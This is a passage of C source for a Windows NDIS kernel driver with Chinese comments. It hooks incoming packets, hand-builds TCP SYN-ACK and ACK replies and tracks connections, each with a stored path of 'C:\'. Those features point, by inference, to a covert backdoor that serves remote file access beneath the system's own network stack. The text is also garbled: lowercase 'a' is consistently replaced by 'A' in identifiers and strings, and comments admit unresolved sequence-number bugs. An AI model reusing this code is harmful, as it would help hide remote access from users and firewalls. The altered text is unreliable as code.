&pNdisPAcket, m_ourPAcketPoolHAndle ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAtePAcket fAiled\n"); return TRUE; } //pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress; //SynAckPAcket.sign = 0xAAAAAAAA; //SynAckPAcket.BufferAddress = (ULONG)VirtuAlAddress; //NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&SynAckPAcket,sizeof(SYNACKPACKET)); //DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress); NdisChainBufferAtFront( pNdisPAcket, pNdisBuffer ); NdisSendPackets( pOurContext->m_pBindAdaptHandle, &pNdisPAcket, 1 ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- NTSTATUS SendSYNACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PVOID VirtuAlAddress = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; ULONG ulTotAlLength; NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); DbgPrint("received SYN pAcket,source port is %d\n",NTOHS(pTcpHdr->source)); ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR); NdisAllocateMemoryWithTag( &VirtuAlAddress, ulTotAlLength, 'ytaU' ); NdisZeroMemory( VirtuAlAddress, ulTotAlLength ); //填包 pEthHdrSend = VirtuAlAddress; pIpHdrSend = (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); pEthHdrSend->h_proto = pEthHdr->h_proto; pIpHdrSend->ihl = pIpHdr->ihl; pIpHdrSend->version = pIpHdr->version; pIpHdrSend->tos = pIpHdr->tos; pIpHdrSend->tot_len = HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); pIpHdrSend->id = 0; pIpHdrSend->frag_off = 0; pIpHdrSend->ttl = 255; pIpHdrSend->protocol = IPPROTO_TCP; pIpHdrSend->check = 0; pIpHdrSend->saddr = pIpHdr->daddr; pIpHdrSend->daddr = pIpHdr->saddr; pIpHdrSend->check = checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); pTcpHdrSend->source = pTcpHdr->dest; pTcpHdrSend->dest = pTcpHdr->source; pTcpHdrSend->seq = pTcpHdr->seq+500;//HTONL(200);//任意 pTcpHdrSend->ack_seq = HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1 pTcpHdrSend->doff = sizeof(TCPHDR)/4; pTcpHdrSend->syn = 1; pTcpHdrSend->ack = 1; pTcpHdrSend->window = pTcpHdr->window; pTcpHdrSend->check = 0; pTcpHdrSend->urg_ptr = 0; for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { pConnection = &g_ConnectionSpAce[i]; break; } } //把数据加入到链表 DbgPrint("AddSendDAtAToList\n"); AddSendDAtAToList( &g_SendListHeAd, VirtuAlAddress, ulTotAlLength, pConnection ); //释放空间 NdisFreeMemory( VirtuAlAddress, 0, 0 ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- /*not used*/ NTSTATUS SendACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PVOID VirtuAlAddress = NULL; PNDIS_BUFFER pNdisBuffer = NULL; PNDIS_PACKET pNdisPAcket = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; PVOID ChecksumTempBuff = NULL; PSDHDR PsdHdrSend; NTSTATUS stAtus; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); //ChecksumTempBuff 为了计算效验和 NdisAllocateMemoryWithTag( &ChecksumTempBuff, MAX_PACKET_SIZE, 'pmtU' ); NdisAllocateMemoryWithTag( &VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), 'ytaU' ); NdisZeroMemory( VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) ); //填包 pEthHdrSend = VirtuAlAddress; pIpHdrSend = (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); pEthHdrSend->h_proto = pEthHdr->h_proto; pIpHdrSend->ihl = pIpHdr->ihl; pIpHdrSend->version = pIpHdr->version; pIpHdrSend->tos = pIpHdr->tos; pIpHdrSend->tot_len = HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); pIpHdrSend->id = 0; pIpHdrSend->frag_off = 0; pIpHdrSend->ttl = 255; pIpHdrSend->protocol = IPPROTO_TCP; pIpHdrSend->check = 0; pIpHdrSend->saddr = pIpHdr->daddr; pIpHdrSend->daddr = pIpHdr->saddr; pIpHdrSend->check = checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); pTcpHdrSend->source = pTcpHdr->dest; pTcpHdrSend->dest = pTcpHdr->source; pTcpHdrSend->seq = pTcpHdr->ack_seq; pTcpHdrSend->ack_seq = HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength pTcpHdrSend->doff = sizeof(TCPHDR)/4; //pTcpHdrSend->syn = 1; pTcpHdrSend->ack = 1; pTcpHdrSend->window = pTcpHdr->window; pTcpHdrSend->check = 0; pTcpHdrSend->urg_ptr = 0; PsdHdrSend.saddr = pIpHdrSend->saddr; PsdHdrSend.daddr = pIpHdrSend->daddr; PsdHdrSend.mbz = 0; PsdHdrSend.ptcl = IPPROTO_TCP; PsdHdrSend.tcpl = HTONS(sizeof(TCPHDR)); NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); pTcpHdrSend->check = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); NdisFreeMemory( ChecksumTempBuff, 0, 0 ); //准备发送 NdisAllocateBuffer( &stAtus, &pNdisBuffer, m_ourBufferPoolHAndle, VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteBuffer fAiled\n"); return TRUE; } NdisAllocatePacket( &stAtus, &pNdisPAcket, m_ourPAcketPoolHAndle ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAtePAcket fAiled\n"); return TRUE; } //pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress; NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&VirtuAlAddress,4); //DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress); NdisChainBufferAtFront( pNdisPAcket, pNdisBuffer ); NdisSendPackets( pOurContext->m_pBindAdaptHandle, &pNdisPAcket, 1 ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- NTSTATUS SendACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PVOID VirtuAlAddress = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; PVOID pDAtA = NULL; ULONG ulTotAlLength; NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+1;//一个字节数据 NdisAllocateMemoryWithTag( &VirtuAlAddress, ulTotAlLength, 'ytaU' ); NdisZeroMemory( VirtuAlAddress, ulTotAlLength ); //填包 pEthHdrSend = VirtuAlAddress; pIpHdrSend = (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); pDAtA = (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); pEthHdrSend->h_proto = pEthHdr->h_proto; pIpHdrSend->ihl = pIpHdr->ihl; pIpHdrSend->version = pIpHdr->version; pIpHdrSend->tos = pIpHdr->tos; pIpHdrSend->tot_len = HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+1); pIpHdrSend->id = 0; pIpHdrSend->frag_off = 0; pIpHdrSend->ttl = 255; pIpHdrSend->protocol = IPPROTO_TCP; pIpHdrSend->check = 0; pIpHdrSend->saddr = pIpHdr->daddr; pIpHdrSend->daddr = pIpHdr->saddr; pIpHdrSend->check = checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); pTcpHdrSend->source = pTcpHdr->dest; pTcpHdrSend->dest = pTcpHdr->source; pTcpHdrSend->seq = pTcpHdr->ack_seq; pTcpHdrSend->ack_seq = HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength pTcpHdrSend->doff = sizeof(TCPHDR)/4; //pTcpHdrSend->syn = 1; pTcpHdrSend->ack = 1; pTcpHdrSend->psh = 1; pTcpHdrSend->window = pTcpHdr->window; pTcpHdrSend->check = 0; pTcpHdrSend->urg_ptr = 0; //填发送的数据 NdisMoveMemory(pDAtA,"u",1); for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { pConnection = &g_ConnectionSpAce[i]; break; } } //把数据加入到链表 DbgPrint("AddSendDAtAToList\n"); AddSendDAtAToList( &g_SendListHeAd, VirtuAlAddress, ulTotAlLength, pConnection ); //释放空间 NdisFreeMemory( VirtuAlAddress, 0, 0 ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- NTSTATUS GetPAcketDAtA(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection = NULL; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PUCHAR pDAtA = NULL; ULONG DAtALength; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); pDAtA = (PUCHAR)((UCHAR*)pTcpHdr + sizeof(TCPHDR)); //DbgPrint("%s\n",pDAtA); DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { //DbgPrint("Get the right connection\n");// pConnection = &g_ConnectionSpAce[i]; //updAte连接信息 g_ConnectionSpAce[i].m_Ack_seq = pTcpHdr->ack_seq; g_ConnectionSpAce[i].m_Seq = pTcpHdr->seq; //DAtALength用于下次发送数据时计算Ack_seq g_ConnectionSpAce[i].m_DAtALength = DAtALength; break; } } if (pConnection == NULL){ DbgPrint("error,cAn't find the right connection\n"); return NDIS_STATUS_SUCCESS; } //把得到的数据加如到数据链表 //AddRecvDAtAToList函数内分配空间复制pDAtA ///IoWorkItemRoutine 中释放 stAtus = AddRecvDAtAToList( &g_RecvListHeAd, pDAtA, DAtALength, pConnection ); if(!NT_SUCCESS(stAtus)){ //DbgPrint("error occur from AddRecvDAtAToList\n"); return stAtus; } return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- ULONG HAndleReceivePAcket( HOOK_CONTEXT_STRUCT *pOurContext, ULONG TotAlPAcketSize, PVOID pHeAdBuffer, ULONG ulHeAdSize, PNDIS_PACKET pPAcket ) { ULONG PAcketSize; PVOID pBuffer = NULL; NTSTATUS stAtus; PNDIS_BUFFER firstBuffer,nextBuffer; ULONG result = TRUE; CHAR* pBuf; NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize); if(PAcketSize + ulHeAdSize < sizeof(ETHHDR)){ return TRUE; } stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize + ulHeAdSize,'ytaU'); if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){ return TRUE; } //obtain content from the pAcket pBuf = (CHAR*)pBuffer; NdisMoveMemory(pBuf,pHeAdBuffer,ulHeAdSize); ReAdPAcket(pPAcket,&pBuf[ulHeAdSize],PAcketSize); result = HAndleBuffer(pOurContext,pBuffer,TotAlPAcketSize + ulHeAdSize); NdisFreeMemory(pBuffer,PAcketSize+ulHeAdSize,0); return result; } //-------------------------------------------------------------------- ULONG SetConnection(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { ULONG i; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PTCPS_Connection pConnection; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); for(i = 0;i < MAX_CONNECTIONS;i ++){ //if it's the repeAted syn,ignore it if((g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->dest) && (g_ConnectionSpAce[i].m_SourceIp == pIpHdr->daddr)){ return TRUE; } //DbgPrint("g_ConnectionSpAce[%d].m_SourcePort: %d\n",i,NTOHS(g_ConnectionSpAce[i].m_SourcePort)); if(g_ConnectionSpAce[i].m_PAcketsLeftToBeSend == 0 && g_ConnectionSpAce[i].m_bIsConnected == FALSE ) { DbgPrint("Get A empty connection\n"); pConnection = &g_ConnectionSpAce[i]; //updAte连接信息 NdisZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); NdisMoveMemory(&g_ConnectionSpAce[i].m_SourceMAc,pEthHdr->h_source,6); NdisMoveMemory(&g_ConnectionSpAce[i].m_OurMAc,pEthHdr->h_dest,6); g_ConnectionSpAce[i].m_pBindAdaptHandle = pOurContext->m_pBindAdaptHandle; g_ConnectionSpAce[i].m_Window = pTcpHdr->window; g_ConnectionSpAce[i].m_SourcePort = pTcpHdr->source; g_ConnectionSpAce[i].m_OurPort = pTcpHdr->dest; g_ConnectionSpAce[i].m_SourceIp = pIpHdr->saddr; g_ConnectionSpAce[i].m_OurIp = pIpHdr->daddr; g_ConnectionSpAce[i].m_Ack_seq = pTcpHdr->ack_seq; g_ConnectionSpAce[i].m_Seq = pTcpHdr->seq; g_ConnectionSpAce[i].m_ReSendCount = 0; //not m_bIsConnected g_ConnectionSpAce[i].m_bIsConnecting = TRUE; return TRUE; } }//for //DbgPrint("connection pool is full,,force the first\n"); //强制用第一个 //updAte连接信息 /* NdisZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); NdisMoveMemory(&g_ConnectionSpAce[0].m_SourceMAc,pEthHdr->h_source,6); NdisMoveMemory(&g_ConnectionSpAce[0].m_OurMAc,pEthHdr->h_dest,6); g_ConnectionSpAce[0].m_pBindAdaptHandle = pOurContext->m_pBindAdaptHandle; g_ConnectionSpAce[0].m_Window = pTcpHdr->window; g_ConnectionSpAce[0].m_SourcePort = pTcpHdr->source; g_ConnectionSpAce[0].m_OurPort = pTcpHdr->dest; g_ConnectionSpAce[0].m_SourceIp = pIpHdr->saddr; g_ConnectionSpAce[0].m_OurIp = pIpHdr->daddr; g_ConnectionSpAce[0].m_Ack_seq = pTcpHdr->ack_seq; g_ConnectionSpAce[0].m_Seq = pTcpHdr->seq; g_ConnectionSpAce[0].m_ReSendCount = 0; g_ConnectionSpAce[0].m_bIsConnected = TRUE; */ return FALSE; } //-------------------------------------------------------------------- NTSTATUS UpDAteConnection(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection = NULL; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PUCHAR pDAtA = NULL; ULONG DAtALength; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); for(i = 0;i < MAX_CONNECTIONS;i ++){ if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { //DbgPrint("Get the right connection\n");// pConnection = &g_ConnectionSpAce[i]; //updAte连接信息 g_ConnectionSpAce[i].m_Ack_seq = pTcpHdr->ack_seq; g_ConnectionSpAce[i].m_Seq = pTcpHdr->seq; //DAtALength用于下次发送数据时计算Ack_seq g_ConnectionSpAce[i].m_DAtALength = DAtALength; g_ConnectionSpAce[i].m_IsSyn = FALSE; if(g_ConnectionSpAce[i].m_bIsConnecting == TRUE){ g_ConnectionSpAce[i].m_bIsConnecting = FALSE; g_ConnectionSpAce[i].m_bIsConnected = TRUE; } break; } } if (pConnection == NULL){ DbgPrint("error,cAn't find the right connection\n"); return NDIS_STATUS_SUCCESS; } return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- NTSTATUS UpDAteConnectionSYN(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection = NULL; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PUCHAR pDAtA = NULL; ULONG DAtALength; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { //DbgPrint("Get the right connection\n");// pConnection = &g_ConnectionSpAce[i]; //updAte连接信息 //再返回SYN ACK的时候这个地方比较特殊,,当SentToNet调用的时候会让 //seq = HTONL(200); Ack = HTONL(NTOHL(pTcpHdr->seq)+1); bug g_ConnectionSpAce[i].m_Ack_seq = HTONL(200);//任意 g_ConnectionSpAce[i].m_Seq = pTcpHdr->seq;///?? bug //DAtALength用于下次发送数据时计算Ack_seq g_ConnectionSpAce[i].m_DAtALength = DAtALength; g_ConnectionSpAce[i].m_IsSyn = TRUE;/////////// break; } } if (pConnection == NULL){ DbgPrint("error,cAn't find the right connection\n"); return NDIS_STATUS_SUCCESS; } return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- //not used NTSTATUS Disconnect(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection = NULL; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); //DbgPrint("%s\n",pDAtA); for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { pConnection = &g_ConnectionSpAce[i]; if(pConnection->m_bIsConnected != FALSE){ //当连接内没有数据等待发送,则清空这个结构,可被下一个连接利用 pConnection->m_bIsConnected = FALSE; if(pConnection->m_PAcketsLeftToBeSend == 0){ NdisZeroMemory(pConnection,sizeof(TCPS_Connection)); //bug!! //还是有问题,最好是每个连接都有一个SendList RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); DbgPrint("g_ConnectionSpAce[%d] is AvAilAble \n",i); } break; }else{ return NDIS_STATUS_SUCCESS; } } } if (pConnection == NULL){ DbgPrint("in Disconnect: error,cAn't find the right connection\n"); return NDIS_STATUS_SUCCESS; } return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- NTSTATUS SendDisconnectMessAgeToSendlist(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { NTSTATUS stAtus; ULONG i; PTCPS_Connection pConnection = NULL; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { pConnection = &g_ConnectionSpAce[i]; break; } } if (pConnection == NULL){ DbgPrint("in SendDisconnectMessAgeToSendlist: error,cAn't find the right connection\n"); return NDIS_STATUS_SUCCESS; } //加到队列的最前面 AddSendDAtAToListAtFront( &g_SendListHeAd, pBuffer, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), pConnection ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- USHORT CountChecksum(PVOID pBuffer) { PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PVOID pDAtA = NULL; PVOID ChecksumTempBuff = NULL; PSDHDR PsdHdr; USHORT Checksum; USHORT tempChecksum; ULONG ulDAtALength; pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); pDAtA = (PVOID)((UCHAR*)pTcpHdr + sizeof(TCPHDR));//heAder ulDAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); DbgPrint("ulDAtALength: %d\n",ulDAtALength); //ChecksumTempBuff 为了计算效验和 NdisAllocateMemoryWithTag( &ChecksumTempBuff, MAX_PACKET_SIZE, 'pmtU' ); if (pTcpHdr->psh){ //PsdHdrSend用来计算tcp效验和 PsdHdr.saddr = pIpHdr->saddr; PsdHdr.daddr = pIpHdr->daddr; PsdHdr.mbz = 0; PsdHdr.ptcl = IPPROTO_TCP; PsdHdr.tcpl = HTONS(sizeof(TCPHDR)+(USHORT)ulDAtALength); tempChecksum = pTcpHdr->check; pTcpHdr->check = 0;//modify the pAcket NdisMoveMemory(ChecksumTempBuff,&PsdHdr,sizeof(PSDHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdr,sizeof(TCPHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR) + sizeof(TCPHDR),pDAtA,ulDAtALength); Checksum = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)+ulDAtALength); pTcpHdr->check = tempChecksum; } else{ //PsdHdrSend用来计算tcp效验和 PsdHdr.saddr = pIpHdr->saddr; PsdHdr.daddr = pIpHdr->daddr; PsdHdr.mbz = 0; PsdHdr.ptcl = IPPROTO_TCP; PsdHdr.tcpl = HTONS(sizeof(TCPHDR)); NdisMoveMemory(ChecksumTempBuff,&PsdHdr,sizeof(PSDHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdr,sizeof(TCPHDR)); tempChecksum = pTcpHdr->check; pTcpHdr->check = 0;//modify the pAcket Checksum = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); pTcpHdr->check = tempChecksum; } //释放ChecksumTempBuff NdisFreeMemory( ChecksumTempBuff, 0, 0 ); return Checksum; } //--------------------------------------------------------------------